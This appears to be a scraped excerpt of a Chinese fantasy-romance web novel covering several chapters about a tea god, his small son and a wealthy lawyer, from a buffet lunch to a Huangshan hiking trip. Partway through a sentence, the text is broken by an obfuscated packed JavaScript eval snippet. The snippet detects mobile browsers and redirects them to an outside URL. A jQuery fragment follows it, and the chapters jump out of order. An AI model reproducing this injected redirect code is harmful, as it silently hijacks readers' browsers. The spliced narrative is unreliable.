怎么吃饭这么努力的小崽子?是不是平时饿着了? 半小时后,白小茶擦了擦嘴,茶溜溜的眼睛看看爸爸,看看叔叔,有点心虚地说:“爸爸,宝宝吃不完了。” 白清语:“这次贺叔叔帮你吃,下次不能拿这么多了。” “好的,爸爸,谢谢叔叔。”白小茶把碗推过去,期待地看着贺任沅,“叔叔,好吃的。” 贺任沅:“……” 贺任沅看着眼前被火龙果染色的一碗大杂烩,还没吃就噎住了。 这一碗有些熟悉,贺任沅总觉得自己不是第一次这样吃。 怎么可能呢?狗都知道嫌弃。 17.第 17 章 贺任沅先喝了一口酸梅汁压压惊,试图拖延时间,抱起白小茶往外走:“叔叔待会儿吃,你喝点水吧,这里可以自己做奶茶。” 他抱着茶宝站在奶茶小料桌前,左边是奶茶桶,有原叶茶,鲜牛乳,奶茶,右边是各种小料,芋泥,啵啵,珍珠,鸡蛋布丁,奥利奥饼干碎等,墙上还贴着热门奶茶配方。 加满小料的奶茶被誉为八宝粥,这种大杂烩更适合白小茶,贺任沅觉得自己有义务教导茶宝混合干饭的正确方式,甜对甜,咸对咸,下次再带他去一回麻辣烫。 只要白小茶有正常人类味觉,教几次就知道怎么干饭美味了。 至于为什么教茶宝,而不是纠正白清语的混合喂养方式,很明显,一边是孺子可教,一边是朽木不可雕。 贺任沅:“茶宝想喝什么口味的奶茶?” 白小茶脸色顿时凝重:“叔叔,奶茶不好喝。” 贺任沅有点不信这世界上居然还有白小茶觉得难吃的东西。 “你喝过了?” 白小茶:“爸爸买的。” 贺任沅:“在哪里买的?” 白小茶:“卖包子的叔叔那里。” 贺任沅明白过来,那种早餐摊,奶茶和豆浆搞不好都是速溶粉泡的,香精重得要命。 贺任沅又心酸又为茶宝有品味感到欣慰:“这里的会好喝一点。” 白小茶嗅了嗅,轻声对贺任沅道:“不好喝噢,叔叔。” 白清语发现贺任沅对着个小孩子也会刨根问底,白小茶容易被套话,便替儿子回答:“他跟着我在老家闻惯了好茶,凡是有茶味的食物,不是好茶他都不喜欢。” 制作奶茶的能用什么好茶叶? 贺任沅不疑有他,看来他们三个人对茶叶都很挑剔。他家里正好有数不尽的好茶。 “那就喝牛奶吧。”贺任沅拿了个杯子,倒了半碗牛乳,“还要加什么?” 茶宝把小料的名字都问了一遍。 贺任沅懂了,每样都来一点。他怕真变成八宝粥,没有直接加入牛乳里,另外拿了个碗装。 “吃多少,加多少。”贺任沅用词明显谨慎,“甜的和甜的一起吃。” “好噢。” 白清语不可思议地抬眸,贺任沅不是讨厌孩子吗,居然还教小孩子怎么吃饭? 白小茶握着勺子,有模有样,分步进食:“爸爸,这是啵啵。” 他含了一颗脆啵啵在嘴里,又舀了一小块鸡蛋布丁含在右边的腮帮子,脸颊微鼓,含糊道:“这是布丁。” “这是牛奶。” 最后他吸了一大口甜牛乳。 唔?好像是奶茶的味道? 白小茶试探地晃了晃脑袋,自身携带的高级茶味融入牛乳里。 再晃一晃脑袋,噢,变成奶茶了! 贺任沅皱眉,端着碗去接:“不好喝吗?吐出来。” 白小茶使劲摇头,澄澈的眼睛看着叔叔,仿佛会说话:要稍等一会儿,会更好喝。 白清语准确地理解了他儿子在摇奶茶,道:“没事,他吃饱了在玩。” 贺任沅:“是吗。”小孩子就是无厘头,倒也不奇怪。 白小茶咽下自制奶茶,迫不及待对爸爸道:“爸爸,奶茶好喝。” 白清语淡定道:“嗯。” “少爷你不用管他,先吃东西吧。”白清语把剩饭往贺任沅手边推了推,转移他的注意力不要盯着小崽子摇奶茶。 贺任沅看着面前的一碗大杂烩,混合的,粘稠的,白小茶还拿过一盅燕窝倒进去。 他为什么一开始不阻止呢? 贺任沅以为自己吃一口就会吐出来,心如死灰地闭上眼,结果——无事发生。 他很顺利地咽了下去。 “……” 他真是低估了自己的忍耐力。 长痛不如短痛,快速吃完剩饭之后,贺任沅犹豫了会儿,拿起剪烤肉的剪刀。 不是他想服务白清语,是白清语太笨了不会用,烤了半天,就吃了两三片。 大人在吃烤肉,白小茶继续摇奶茶,五口之后把自己摇得有点醉奶,他抬起双手捂住晕晕的眼睛,结果不小心按到了鼓满的腮帮子。 噗——含着的一口奶茶吐在了贺任沅西装裤上。 白小茶:(⊙-⊙) 白清语:(⊙o⊙) 白小茶:“叔叔对不起。” 白清语:“少爷对不起!” “没关系。”贺任沅忙抽了一张湿巾给小崽子擦嘴巴。 “怎么是奶茶味儿?”他端起桌上的牛乳碗闻了一下,茶宝说不喝奶茶,倒的明明是牛奶。 白清语神经一紧,崽啊,你漏茶馅儿了。 糟糕了。 贺任沅黑色西装裤上一摊巴掌大的白色奶渍甚是明显,白清语本来坐在对面,起身跑过来,紧急抽了几张湿巾,按在贺任沅腿上使劲搓,茶味应该不明显,掩盖一下应该能成。 贺任沅看着忽然凑近的白清语,对方焦急地蹲下来在他大腿上作乱,一双漂亮白皙的手按着湿纸巾,像触犯天条了一样试图把奶渍吸走。恶霸保姆极少在他面前低头,原来一低头,后颈也露出脆弱而绮丽的线条。 贺任沅往后仰了仰,面上出现隐忍的神色,“行了。” 白清语尽量镇定地说:“要不要去卫生间脱了我帮你搓一搓。” 这样就彻底销毁证据了。 贺任沅并不想在白清语面前脱裤子:“不用,我自己去,你看好孩子。” 白清语不肯放手,因为贺任沅的鼻子实在太灵了。 万一他搓裤子的时候闻了呢?不用等搓裤子了……贺任沅现在就已经怀疑了。 白清语眼睁睁看着贺任沅拇指和食指抿了一下裤子,置于鼻下闻了闻,露出若有所思的表情。 贺任沅不是讨厌孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707585|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子了,怎么还闻白小茶的吐奶啊! 贺任沅见白清语一副天塌了的样子,好笑道:“老实坐着,不会要你赔钱。” 贺任沅受不了大腿被粘着,打算去车里拿备用衣服,嘱咐道:“等我五分钟,不要乱跑。” 等……等贺任沅回来问个究竟让茶宝再给他表演一个吗? 白清语自然不敢冒险,要是被人类知道茶神的身份,他和白小茶在人间就不安全了,他果断拦住一个路过的服务员:“买单。” 服务员微笑道:“您一共三位,小孩免单,两位的自助午餐价格是1688,请问您有会员卡吗?” 白清语咽了咽口水:“没有。” 他心痛付款,自我安慰反正这是用前任发的工资请前任吃饭,羊毛出在羊身上。 “请您帮我带句话给跟我一起来的先生,这顿算我感谢贺律师帮我的忙,散伙饭吃完就不用见面了,我新工作很忙的。” 茶神马不停蹄抱着幼崽跑路。 “外面的世界太危险了宝宝。”白清语道,“你还是个宝宝,不能在外面摇奶茶,雇佣童工,被警察叔叔知道会罚老板的钱。” 白小茶意识到严重性:“老板叔叔是好人,不能被警察叔叔抓走。” 白清语:“对,只能在爸爸面前喝。” 三分钟后,贺任沅回来,听完前台复述的留言,脸色一下黑了。 他贺任沅是什么洪水猛兽吗?从没遇见过饭吃一半人结账跑了! 白清语要是没结账他都不会这么生气,结账了摆明是要划清界限。 他只是心疼白清语带着孩子在外面流浪看着不忍罢了。 既然白清语这么有钱,就在外面自己过好了,哪天钱被骗光了看他还会不会多管闲事。 直到开车回家,贺任沅仍然气得要命,熄火后迟迟没下车。 管家在家静候佳音半天,眯着眼睛试图透过车窗,看看后座还有没有人。 没有。 怎么回事啊大少爷,攻略茶宝的秘籍不是都教会了吗? 这还没让茶宝跟你回家? 贺任沅降下车窗透气。 管家弯腰,忐忑地打量着人和车。 新款豪车,休闲西服,帅气发型……问题出在哪? 管家仿佛在复盘地主家的傻儿子相亲又失败的原因: “少爷,您收敛脾气了吗?小孩子不经吓。” 贺任沅从喉咙里发出一声:“嗯。” 管家:“那您跟白清语好好说话了吗?” 贺任沅:“。” 管家琢磨着应该是有,苦恼地细细思索起来,还能是什么问题? “那、那您买单了吗?”管家随口一问,买单这事儿,贺任沅不可能让白清语来。 贺任沅闻言脸色一僵,甩了车门上楼:“以后别再提他的名字。” 管家瞳孔震惊,不是,少爷你真没买啊? 20-30 第21章 怎么露馅的?白清语纳闷,贺任沅是不是有千里眼?当过律师真是太恐怖了。 白清语合算了一下时间,贺任沅索道上山最快也要四五个小时,从索道口到山顶酒店大约一小时,自己目前在峡谷中段,去酒店也要一个小时。 “宝宝,我们抓紧变四个小时。”白清语指着从石缝里顽强生长出来的小松树,“就像松树宝宝这样子,会吗?” 白小茶大声回答:“会的,爸爸。” 白清语早就带他在武夷山淋过很多次雨,父子俩都驾轻就熟。 白清语把自己的背包挂好,抱着小崽子贴在山壁上,他身后是一条比较宽的石缝,站稳的瞬间,一大一小两颗茶树从山间露出朦胧的影子。 壁立千仞,云海翻腾,远处的松树,近处的茶树,全都笼在蒙蒙的雨汽中。 大茶树姿态优美,伸出的树冠半遮着小茶树,小茶树叶色青绿,根扎在爸爸脚下,叶片被雨水滴得一晃一晃。 挂在大茶树上的包裹里的手机振动作响,小茶树叶片抖了抖,像好奇宝宝竖起耳朵。 白清语只好自己变回来,变成普通人类之前,必须变成原先的样子,湿漉漉的黛色长发披在身上,绮丽夺目的眉眼在雾气中美得超凡脱俗,这样的人看起来一定没有任何俗世的烦恼。 白清语蹲在地上,青丝几乎碰到地面,有几缕被风吹到了栏杆外,胜过水墨画中最轻盈灵动的一笔。 “带雨衣了,没有被淋到。” “吃饱了,在往酒店走。不累,有人帮忙抱茶宝……一位好心大哥,四十岁吧。” “对不起,没有流量,不能视频让你看茶宝。” “你给我充流量?在爬山呢,我要看路,先挂了。” 白清语及时挂断电话,并开启飞行模式。 有游客从侧方的栈道看过来,恍惚间以为看到了神仙,下意识举起手机。 白清语侧眸,看着那名人类。 霸凌人类的容貌盛到一定程度,仿佛居然威慑感,游客快门还没按下,莫名就心虚了,不敢偷拍,恋恋不舍地往前走了。 白清语松了一口气,等人走远才变回一株茶树。 天光从明到暗,最后一丝余光收尽,雨水也渐停。 父子俩从头发丝到脚趾头都被黄山的雨淋得透透的,白清语仗着天黑没人,懒得变回去,抱着茶宝轻快地走在山间。 “宝宝,你现在有一点黄山毛峰的气质了!”白清语闻了闻幼崽的头发,语气里笑意像一团云一样柔软。 干饭宝宝无论当人还是当树,都努力地吃营养。这顿饭是为了老板叔叔吃的。 白小茶:“有黄毛的气质!” 白清语:“是黄山毛峰宝宝,不是黄毛,不要当黄毛。” * 南城到黄山北站的两小时半高铁对于贺任沅来说十分漫长。 他深刻意识到,不是给白清语的新家找个厨师就能高枕无忧,不放在自己眼皮子底下看着,差点连白清语要去黄山露宿都不知道。 他点开江礼帛的微信,还是干了挖墙脚的事。 [贺任沅]:你好,我想接白清语和白小茶回家。 [江礼帛]:我思来想去,也觉得我妈那老小区有点委屈茶宝,茶宝舅舅你愿意给白清语提供更好的生活,我很高兴。 江礼帛还误会着这层关系,贺任沅装作不知,否则没有挖墙脚的理由和胜算。 另一头,江礼帛放下手头的事,给国内的男朋友打电话:“徐诏,过两天可能还要麻烦你送白清语一趟,记得开一辆好车。” 徐诏二话不说先答应下来:“好的,贺任沅真是茶宝的舅舅啊?真是奇怪,我从来没听说过贺任沅还有妹妹。” “是不可思议,等你看见茶宝和贺任沅站一块就知道了,如假包换。”江礼帛笑着道:“谁家没点隐私了,江教授的邻居也不知道他有个帅气男朋友啊。” 徐诏嘿嘿一笑:“我肯定开最好的车,绝不让贺家的人看轻了白清语。” 江礼帛猜测道:“我看贺律师对白清语非常关心,估摸着以前贺家没有认茶宝的原因在于贺董事长解不开心结,现在贺任沅掌权了,做主承认茶宝。” 徐诏:“我懂,面子要重点做给贺董事长和夫人看。” …… 白清语临近宾馆,才改头换面,在公共厕所里给自己和茶宝换上干净的衣服,并施法隐藏两人的茶叶气息。 他到了前台,正要报自己的名字时,大门进来一个身影高大的男人,对方也淋了雨,冷漠的目光在看见白清语时,有了一点温度。 “白清语。”贺任沅帮他报出名字,拿出身份证,办入住手续,“只剩下一间大床房了,我们凑合一下。” 白清语目光在贺任沅背后硕大的登山包上停留:“嗯。” 前台将房卡交给贺任沅,道:“明天天气不错,看日出请早些起床。” “谢谢。”贺任沅接了卡,因为自己身上湿,便没有去抱茶宝,道,“走吧。” 白清语跟上去,没头没脑地问:“你没生气吧?” 贺任沅脚步一顿,道:“没有。” 没有?怎么可能,不过是这一路早就消化完毕,他不能改变高铁的速度,但是从索道口到宾馆的这一路,贺任沅用尽了全部力气加速。 剧烈的运动反而让他的头脑清醒过来,白清语的行为是基于他过往的生活形成的认知,他没有参与过去,凭什么高高在上地指责? 到了房间,贺任沅将背包放在地上,很大一个包,能装下一个白小茶。 白小茶好奇地站在边上,包包跟他下巴一样高,他帮老板叔叔拉开一个角,踮脚往里瞅,看见了草莓牛奶面包…… 都是吃的! 白清语总算明白贺任沅为什么背包这么大,出门从来自带伙食的茶神,说出一句与习惯不符的话:“这么重,在山上买就好了。” 贺任沅:“山上的贵。” 真实原因是山上的品类少,就算有卖也不可能卖百来块一斤的草莓。 白清语无话可说,半晌又道:“你带的太多了,很重的。” 贺任沅:“没有茶宝重,明天要逛一天。” 白清语没想到贺任沅竟然愿意在黄山逛一天,这个人不是工作狂吗?真好,白小茶多在黄山呆一天,更像土生土长的了! 贺任沅把一盒脆脆的草莓拿出来,冲洗了下:“吃吧茶宝。” “谢谢叔叔!”白小茶拿起一颗比自己拳头还大的草莓,咬了一口,又拿起一颗给爸爸,“爸爸吃。” 贺任沅拿出一套衣服去洗澡,交代一句:“保温盒里还有一盒寿司。” 茶神的风餐露宿突然就变成野餐,他吃完寿司,整理登山包的时候,发现里头还有两套衣服,尺寸明显不是贺任沅的。 “是我和茶宝的吗?” “对。”贺任沅擦着头发出来,“齐叔订制的工作服,当是睡衣将就穿吧。” 这是其中一款休闲的工作服,丝绸国风,勉强能当睡衣。 白清语摸着衣服的指尖被烫了似的,心虚地蜷了蜷,自己跑路太匆忙,浪费了工作服。 “去洗澡,早点睡觉。” “哦。” 白清语去了浴室,贺任沅直接把坐在椅子上吃饭的茶宝抱到床上。 “没关系的叔叔,宝宝坐椅子上就可以了。”白小茶像上课一样端坐,只不过面前摆着的只有零食,忙着吃零食。 贺任沅一愣,自己的“洁癖”人尽皆知,连茶宝都知道他要睡的床不能上去弄乱吗?茶宝愈是懂事,愈是让他心脏蒙上一层钝钝的痛。 “椅子上凉。”贺任沅声音微哑,“你可以在床上吃东西。” “好噢,叔叔。”白小茶坐着吃完一个寿司,有点饱了。 贺任沅见茶宝衣服干干净净的,头发也蓬松柔软,住宿条件一般,便觉得没必要洗澡,春季容易感冒,于是拿出睡衣直接给他换上。 睡衣是管家的暗箱操作,本来工作服没有白小茶的份。 贺任沅帮他脱衣服时,白小茶的脑袋被长袖衣服的领口卡住,不由紧张了一下,仿佛重要实验操作失误。 白小茶丝毫不知叔叔的紧张,换好睡衣莫名兴奋,“叔叔!” 贺任沅:“嗯。” 白小茶:“爸爸!” 贺任沅:“嗯……嗯?” 白清语虽然在洗澡,但小崽子叫他他随时能听见,关了水,应了一声。 贺任沅:“……”哦,不是叫他。 “茶宝,你晚上睡在爸爸和叔叔中间好不好?” 白小茶:“好。” 白小茶坐在床尾,想像刺猬一样翻滚到床头,结果宾馆的大床太柔软,弹性太足,白小茶没有睡过这么软的床,预估失误床垫的强大助攻,翻滚过头,脑门“咚”一下撞到床头。 贺任沅大惊失色,把小崽子抱起来,摸摸他的额头,“痛吗?” 白小茶捂着脑门,懵呼呼,道:“叔叔,我不痛。” 白清语洗完澡出来时,头一次在贺任沅脸上看见心虚。 贺任沅:“他刚才撞到床头了。” 白清语伸手摸了摸白小茶的额头,没有肿,“没事。” 白小茶弯起眼睛,也感觉不到疼了,簌簌爬到中间,拍拍被子:“爸爸睡左边,叔叔睡右边。” 白清语:“好。” 白清语身上的国风缎面睡衣,完美适配他的身材,周身一股矜贵淡雅的气度,衬得那张普通的脸也生动不少。 贺任沅看了一眼就移开目光,心想,是因为那双眼睛长得不错。 两人各自从一侧上床,中间隔着茶宝缓冲。 缓冲带宝宝一闭眼就睡着。 贺任沅有些睡不着,刚才茶宝撞那一下,让他明白,白清语在这么艰难地生活条件下,把茶宝养得圆润可爱,是一件多么伟大的事。 “你怎么上来的?” 白清语装睡。 贺任沅自顾自道:“你要是爬上来的话,明天估计会腿疼,我们不看日出,多睡一会儿。” 白清语一动不动,默认这个提议,因为贺任沅比他预计来得更快,途中一定跑步了,凡人的体力怎么跟神仙比,需要多休息。 一夜过去。 茶宝第一个醒来,被窝里热烘烘的,有点挤噢。 他钻出来一屁股坐在枕头上,好像从字典里抽出了一张卡通书签,两侧的书页自动严丝合缝地回归原位贴住了。白清语顺势往下挪了挪,把头埋进贺任沅胸前,贺任沅也很顺手地揽住了他的腰。 白小茶看看叔叔,看看爸爸,试探性地伸脚,刚进被子遇到了阻碍—— 他挠了挠脸蛋,噢,宝宝钻不回去了! 第22章 贺任沅这一觉睡得前所未有的踏实,他还梦见了几天前,齐叔将工作服款式交予他定夺的场景。 十来种风格不同的设计,他一眼相中了跟白清语平时穿的风格相近的对襟款,只是将布料换成最光滑柔软的桑蚕丝。 裁缝师傅给的设计图是按照白清语的身材比例画的,肩线、腕线、腰线,每一处都与衣服完美契合。 齐叔拿来了几匹布料,请他定夺颜色。 贺任沅觉得淡青色较为适合,白色也不错,但白清语干活容易弄脏,比起颜色,更重要的是,布料要耐用,白清语太能折腾。 在真丝上寻求耐用度未免可笑,但谁说没有? 他手上的这块布就不错,无论他怎么加大力度揉搓,都没有变形、抽丝,始终像膏脂一样滑,像温热的羊奶冻。 定了,就选这个。 贺任沅睁开眼睛。他动了动手指,的确摸到了很软很滑的桑蚕丝。 不对,好像不是衣服。 贺任沅脸色一僵:他的手掌探进了白清语的衣服里,吸铁石一般覆在对方背上。 他所有强烈的触觉刺激全部来自掌心下的肌肤,而不是手背上的真丝睡衣。 白小茶坐在白清语头顶上方的枕头上,弯起眼睛:“嗷,叔叔你醒了!” “嘘!”贺任沅根本来不及阻止,眼睁睁看着小崽子一出声,白清语转瞬即醒。 贺任沅猛地抽出手,太快太猛,掌心的纹路掠过白皙紧致的后背,撤了手还要撤回脚,仿佛抽了人家一下。 白清语第一次穿真丝,舒服得像没穿一样,导致他没能识别他和贺任沅的手掌其实没有隔着一层衣服。 白清语懵逼地坐起来,用眼神询问:打我干嘛? 不问出声是因为给贺任沅面子,不然茶宝听见了要当真。 贺任沅:“……” 他抬手抽了自己一巴掌,一副看淡生死的样子:“扯平了。” 嘴上这样说,只有他自己内心知道自己耍的流氓有多震撼,根本扯不平。 白清语:? “叔叔,你怎么了?”白小茶目露深深的疑惑。 贺任沅:“有一只蚊子。” 白小茶表示理解:“我在叔叔家里也被虫子咬了。” “啊……嗯?”贺任沅严肃地看向白小茶,“哪里被咬了?” 他别墅还有虫子?是不是请的清洁工还不够多? 白小茶指着自己早就看不出痕迹的脚背:“咬了这里。” 贺任沅皱眉:“在哪里被咬的?” 白小茶:“土里!” 贺任沅问白清语:“怎么回事?” 白清语:“就是、就是在花园玩儿,我翻土,他被土里跑出来的虫子咬了。” 贺任沅闭眼想象了一下白清语和白小茶在别墅花园里晒太阳的景象,他错过了太多。白清语又支支吾吾,不可尽信,贺任沅选择继续问白小茶:“痛不痛?那你抹药膏了吗?” 白小茶:“没有噢。” 贺任沅:“为什么?” 白小茶记性很好地说:“爸爸背我去买药,但是太贵了,爸爸没有钱。” “爸爸摸一下,宝宝就不痛了。” 贺任沅眼眶一酸,心里涌起无尽的难受。 背着孩子去求医,到了药店却没钱买药。 在他不知道的日子里,这父子俩日子过得也太苦了,一管药膏能有多少钱?茶宝竟然已经懂事到被摸一摸就不喊痛了。 贺任沅不禁怀疑昨晚茶宝在床头撞的那一下,是真的不疼,还是懂事使然。 白清语抿了抿唇,小孩子说话过于写实,导致有点颠倒黑白的效果。 那是摸一下就不痛了吗,那是我用神力给你恢复了! 没法跟凡人解释的一集。 贺任沅喉咙失声了一会儿,道:“以后叔叔都不会再让这种事情发生。” “你想要什么就有什么。”贺任沅忽然有种拨云见月的清晰感,他明白这些天不上不下焦灼的缘由了,是与茶宝出乎意料的相遇和超乎防线的心疼,他在摸索与白清语和茶宝的相处界限时,理智与直觉碰撞,进退维谷。 既然他对外不否认自己是茶宝舅舅的身份,就该尽到本分,给予茶宝作为贺家人的继承权。年近三十,贺任沅对自己人生有清晰的认知,他以后大抵不会有自己的亲生孩子。 白小茶没听懂这句话的分量,白清语隐隐约约觉得不对,白小茶好像卖了个大惨,导致贺任沅腾起做慈善的念头。 他们是茶神,没病没痛,这不是向人类骗捐吗? 金额巨大会触犯法律,茶神可不干犯法的事。 白清语正要开口,脑海中突然闪过一个朦胧的画面,他好像在对谁说“这是我偷来的贡品,你看看判几年?” 白清语大惊失色,他还干过这事?他仔细回想细节,却只能依稀记得自己揶揄的语气,怎么也想象不出这是对谁说的,警察?法官? 无论偷没偷过,万万不能再罪加一等,他忙对贺任沅道:“你和茶宝非亲非故,我们已经欠你很多了,贺少爷你不用再给茶宝什么,我自己能够养好茶宝的。” 贺任沅再次听见白清语急着划清界限的话,好心被当成驴肝肺,咬着牙道:“不、用、客、气。” 白清语抱起白小茶展示:“我养得不好吗?” 贺任沅无言以对,没见过这么油盐不进的人,就不能像茶宝一样什么都吃吗?! 他以后要把这对父子分开看,白清语是白清语,白小茶是白小茶。白清语管天管地,还能管他把钱给谁吗? “好,你的孩子你自己养。”他冷着脸道:“你去洗漱吧,我给茶宝换衣服。” 白清语:“我来。” 贺任沅想起自己给茶宝换衣服结果卡住了脖子,心有余悸地站在一旁,发现白清语也不遑多让。 白小茶就像一朵蘑菇似的被拽得摇摇晃晃。 昨晚贺任沅睡着后,白清语想起来给白小茶垫了一块尿布。 白小茶大多数时候不尿床了,只是以防万一,昨晚也没用上。 每次使用过后都得清洗,白清语看了一眼贺任沅,决定在宾馆就洗干净,免得同行人有意见。 贺任沅看着尿布觉得分外眼熟,他确认道:“你手上的是什么?” 白清语:“可重复使用的尿布。” 贺任沅想起被“抹布”兜脸的那一天,闭了闭眼,他就说怎么会有人在三楼晒抹布。 好消息,不是抹布。 白清语已经拿着尿布进了卫生间,打开水龙头。 贺任沅跟了进来,皱眉:“你没开热水?” 白清语:“冷水也可以洗啊。” 山上气候本就偏凉,冷水更是刺激,贺任沅见白清语总是无知无觉的样子,有点恼火。 贺任沅冷着脸夺过白清语手里的尿布。 白清语焦急道:“不要扔,洗洗还能用!” 贺任沅:“你出去。” 白清语叹口气,看来他要损失一条尿布了,罢了,宾馆虽然热水空调都有,但跟贺家的豪宅比不了,贺任沅睡一觉肯定浑身不舒服,总得让他扔点看不顺眼的东西出出气。 贺任沅做了一会儿心理建设,假装手里的只是一块普通的布。 不是他愿意帮白清语洗尿布,只是他拦不住白清语在阳台上晒尿布,他要保证下次再有尿布从三楼飘下来,总得是干净的吧? 他自己洗的比较放心,白清语惯爱省水省电,会像他这样搓洗三遍吗? 他是为了自己的洁癖着想。 * 半小时后,大人各自背着背包,白清语包里几乎没什么东西了,贺任沅包里还有一对一堆衣服和食物。 白小茶走路带蹦,“爸爸,这里真好看。” 日初出的黄山令人耳目一新,雄奇壮观,如游仙境。 他自己走出一段路后,新奇地说:“爸爸,这里没有蚊子呀。” 父子俩在邓伯家里住时,由于家靠山脚,南方潮热,蚊子很多。 白清语有意缓和气氛,故意道:“你问问老板叔叔为什么。” 白小茶:“为什么呀老板叔叔?” 贺任沅手掌摩梭了下裤子外侧,似乎在擦汗:“因为海拔很高,蚊子不喜欢上来。” 白小茶:“刚才叔叔被蚊子咬了。” 贺任沅生硬地转移话题:“你看前面的人在看什么?” 山崖下生长出来的松树树顶正好在栈道旁,一大一小两只猴子攀着树枝向路过的人类伸手。 景区禁止投喂猴子,但经不住兜里有余粮的游客,偷偷地拿出橘子饼干巧克力放在栏杆上。 猴子伸手一掏,熟练地扒开橘子皮,吃完又讨,游客又给。 白小茶目光追逐着猴子,抿了抿嘴角:“爸爸,猴子是免费吃的吗?” 白清语:“嗯,因为他没有钱。” “我也没有钱。”白小茶觉得自己跟猴子差不多,“我跟猴子一样大。” 贺任沅被可爱到了,但没有任何表示,零食和水果不敢拿出来给茶宝吃,怕引来猴子抓茶宝的脸。 听说有的猴子会抢包,贺任沅道:“包给我,我们往前走吧。” 贺任沅留神注意着猴子,发现这两只猴子一直在附近的松树跳来跳去。 白清语默默抱着小崽子,心情有些低落地想,他让贺任沅不用再给茶宝什么,贺任沅果真守着界限,连吃的也不给了。 ———————— 大家放假了吗!国庆快乐!200个红包! 第23章 贺任沅走着走着,发现白清语和白小茶都蔫了,好像很久没喝水的树苗似的,他以为是走不动了,但是一看白清语的步伐又很轻松,气也不喘,速度均匀。 怎么了?跟他一起旅游不高兴? 前面恰好是观景宽阔大平台,猴子也终于隐入山林消失,贺任沅铺开野餐垫,“坐下休息一会儿。” 白清语把白小茶放下,白小茶顿时趴倒,圆润的脸蛋摊煎饼一样压在野餐垫上,还沉浸于对猴子的羡慕中,猴子宝宝有游客喂,茶宝宝没有游客喂,这就是爸爸说的,植物和动物的不同。 他想当猴子宝宝!不!他不要当猴子宝宝!他不要猴子宝宝的爸爸,他要自己的爸爸。 白小茶翻了个面,换一边脸蛋压着。 这么说,咖啡豆宝宝也没有人喂啊。 这一刻,茶神幼崽和咖啡豆宝宝和解了十分钟。 贺任沅不懂茶宝突如其来的“深沉”,道:“茶宝想躺着睡觉了吗?” “吱呀”,贺任沅打开一盒水果,牛奶大青枣水灵灵地滚了一个出来,“要吃青枣吗?” 白小茶竖起耳朵,灵活地一骨碌坐起来:“叔叔,我也可以免费吃吗?” 贺任沅;“当然,叔叔的东西你都可以免费吃。” 不知道是不是错觉,他这句话说完,父子俩的眼睛同时亮了起来,蔫巴缺水的假象一扫而空。 白小茶两手抱着一颗大青枣,嘎叽啃了一口,吃得太过用力长长的眼睫毛上下碰了一下。 贺任沅松了一口气,原来是饿了,小崽子胃口这么好,难怪管家喜爱,他解释道:“刚才两只猴子一直跟着我们,我怕它们上来抢。” 喔,原来是这样啊,白清语压了压嘴角,没忍住露出一个笑容。 贺任沅看着吃枣一脸幸福的白小茶,和一脸傻白甜的白清语,忽然觉得这对父子分明很好哄。 白清语也没有那么油盐不进,起码牛奶大青枣能进,记一功。 一盒里有四个,带少了,贺任沅不打算吃,为了不显突兀,云淡风轻道:“我去那边看看风景。” 白清语想到贺任沅这样的大忙人,应该很少特地来景区,自己带孩子甘之如饴,帮别人带孩子是劳心劳力,人类经常说旅游想要舒服就不要带孩子。 想到这,白清语有些愧疚,道:“你去看吧,我们在这多休息休息。” 贺任沅起身,这里处处是崖壁,随便一站眺望远方都风景独绝,他弯腰按着栏杆往下看,石崖陡峭垂直,比当年他摔下去的山崖还深。 这些年,他很少再靠近类似悬崖的地方。倒不是他有阴影,当初被救上来时,除了脑门的伤口流血过多,其他的只能算皮外伤,但贺任沅醒来后情绪消沉,坚持自己失忆,让贺望重和舒枚觉得他一定受到了很大的心理创伤,勒令他不许再靠近悬崖。 独子出事,舒枚担惊受怕了一阵,贺望重虽然嘴上不说,但开始研究在厨艺上的造诣,多多少少有些受贺任沅营养师的启发。 为人子,起码不能让父母担心。 贺任沅凝视着深崖,眼神锐利得仿佛要看透到地面,看见那里到底发生过什么。 或许喝过的茶叶起效,或许是现场重现,一些混沌的画面从脑海中飘过,贺任沅晃了晃头,后脑隐隐作痛。 [能不能不要把食物捣碎。] [你都动不了还要求这么多。] [我的咬肌、颞肌、下颌骨都保留完善的功能。] [哦,我知道你说话没问题。] 明明是微小的片段,他的躯体却宛若受到剧烈的冲击,指尖不明显地颤抖。 “老板叔叔!”一声奶呼呼的声音闯入作痛的识海,乍然清明。 贺任沅回过神,看见白清语担忧地拉住他的胳膊,仿佛怕他跳下去一样。 茶宝手上拿着最大的那个青枣,包不住半个枣,努力地举起来:“这个最大的是老板叔叔的。” 贺任沅见他手里的青枣大得下一刻就能从他手里滚下来,接过来道:“你吃饱了?” 白小茶点头:“我吃饱了。” 白清语很直白地问:“你不会想跳下去吧?公司出问题了吗?” 贺任沅承认自己想过如果跳下去是不是就什么都能想起来了,但也只是想想而已,他疯了才不要命。 他鬼使神差把方才想起来的那两句话代入白清语的语气,太过契合了,他突然怀疑起那番记忆的真实性。 他该不会想起来的是自己做过的梦吧?日有所思夜有所梦,在他吃白清语做的茶泡饭之后,在他吃了白小茶的糨糊自助餐剩饭之后……这样的饭,这样的梦,很合理。 医生说过,对失去的记忆太过追究,大脑也会胡编乱造。 他也不是第一次梦见白清语欺上瞒上了。 “我没事。” 贺任沅把比围栏低的白小茶抱起来,让他看看风景。 黄山还挺适合茶宝的,用眼睛感受大自然的鬼斧神工就行。 白清语:“少爷,你给我和茶宝拍张照片吧。” 茶神幼崽黄山采风留念。 “行。”贺任沅掏出手机,对旁边学生年纪的女生道,“能否帮我们仨拍张照片?” 贺任沅文质彬彬高大帅气,很难有人拒绝他的请求。 “可以。” 女生将贺任沅的手机横过来,从取景框里看见,贺任沅靠近了一大一小,将孩子抱过来,正面对着摄像头。 嘶,好软萌的幼崽。 咔嚓,临时凑的一家三口黄山留念。 “谢谢你。”贺任沅接过手机一看,“拍得很好。” “你儿子很可爱。”女生忍不住道。 “谢谢。”贺任沅又看了眼照片,没有澄清。 这种事有什么好澄清的,被误会又不会少块肉。 白清语:“……”三个人一起来的,拍合照好像也没毛病。 